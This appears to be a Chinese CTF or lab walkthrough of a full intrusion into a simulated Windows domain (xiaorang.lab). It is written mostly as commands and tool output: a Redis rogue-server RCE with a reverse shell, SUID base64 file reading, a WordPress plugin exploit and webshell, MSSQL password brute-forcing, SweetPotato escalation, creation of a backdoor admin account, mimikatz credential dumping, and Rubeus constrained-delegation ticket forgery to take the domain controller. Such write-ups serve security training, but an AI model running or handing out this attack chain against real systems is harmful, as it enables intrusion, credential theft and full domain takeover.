考点:
- redis主从复制rce
- base64命令提权
- sweetpotato提权
- 约束性委派
fscan扫一下,发现6379有redis的未授权,打一下redis主从复制rce(https://github.com/n0b0dyCN/redis-rogue-server)
在自己vps上运行脚本:
第一个ip地址是题目地址,第二个地址是自己vps的地址,记得开启21000端口,执行成功后会问你想要正向shell还是方向shell,然后你选r就是反弹shell,然后后面输入你想弹的地址与端口即可
本地看看提权命令
find / -user root -perm -4000 -print 2> result.txt
用base64这个命令提权即可拿到flag
base64 "/home/redis/flag/flag01" | base64 --decode
接下来用wget下载一下我们需要的文件,先fscan扫一下
(icmp) Target 172.22.2.3 is alive
(icmp) Target 172.22.2.7 is alive
(icmp) Target 172.22.2.16 is alive
(icmp) Target 172.22.2.18 is alive
(icmp) Target 172.22.2.34 is alive
[*] Icmp alive hosts len is: 5
172.22.2.16:445 open
172.22.2.3:445 open
172.22.2.34:139 open
172.22.2.16:139 open
172.22.2.18:139 open
172.22.2.34:135 open
172.22.2.3:139 open
172.22.2.16:135 open
172.22.2.3:135 open
172.22.2.16:80 open
172.22.2.18:80 open
172.22.2.7:80 open
172.22.2.18:22 open
172.22.2.7:21 open
172.22.2.16:1433 open
172.22.2.34:445 open
172.22.2.18:445 open
172.22.2.7:22 open
172.22.2.7:6379 open
172.22.2.3:88 open
[*] alive ports len is: 20
start vulscan
[*] WebTitle: http://172.22.2.7 code:200 len:4833 title:Welcome to CentOS
[*] NetInfo:
[*]172.22.2.34
[->]CLIENT01
[->]172.22.2.34
[*] NetInfo:
[*]172.22.2.3
[->]DC
[->]172.22.2.3
[*] NetBios: 172.22.2.34 XIAORANG\CLIENT01
[*] NetInfo:
[*]172.22.2.16
[->]MSSQLSERVER
[->]172.22.2.16
[*] 172.22.2.3 (Windows Server 2016 Datacenter 14393)
[*] 172.22.2.16 (Windows Server 2016 Datacenter 14393)
[*] WebTitle: http://172.22.2.16 code:404 len:315 title:Not Found
[*] NetBios: 172.22.2.16 MSSQLSERVER.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios: 172.22.2.3 [+]DC DC.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios: 172.22.2.18 WORKGROUP\UBUNTU-WEB02
[+] ftp://172.22.2.7:21:anonymous
[->]pub
[*] WebTitle: http://172.22.2.18 code:200 len:57738 title:又一个WordPress站点
然后chisel搭一下代理,这个wordpress插件有nday(https://github.com/biulove0x/CVE-2021-25003),打完传个马
连上去后查看配置有数据库账号和密码
MDUT连一下,数据库里有flag。然后S0meth1ng_y0u_m1ght_1ntereSted里面还有一个密码表,用那个密码爆破172.22.2.16:1433
fscan -h 172.22.2.16 -m mssql -pwdf 1.txt
[+] mssql:172.22.2.16:1433:sa ElGNkOiC
然后MDUT连上去
这里一眼sweetpotato提权,但你直接传文件是会报错的,开了那个Ole之后就能正常上传了
直接成功提权
连上去用netstat -ano会发现3389端口是开着的,也就是远程桌面rdp那个,这里我们给自己创个用户然后rdp过去,获得第三个flag
C:/Users/Public/sweetpotato.exe -a "net user fushuling qwer1234! /add"
C:/Users/Public/sweetpotato.exe -a "net localgroup administrators fushuling /add"
查看systeminfo会发现我们在域环境里
传一个猕猴桃上去,然后选择这个exe用管理员模式运行(否则权限会不够),可以抓域内用户密码
privilege::debug
sekurlsa::logonpasswords
一个一个翻,可以翻到MSSQLSERVER$
这个用户,MSSQLSERVER 配置了到域控的约束委派, 可以通过 S4U 伪造高权限 ST 拿下域控,并且似乎只有他的NTLM哈希可用,我们用Rubeus申请访问自身的服务票据
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:1400900feabf5d233a9c1ec534105274 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap
抓到后注入票据
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:你上面抓到的服务票据
然后就拿到域控直接读取flag即可
type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt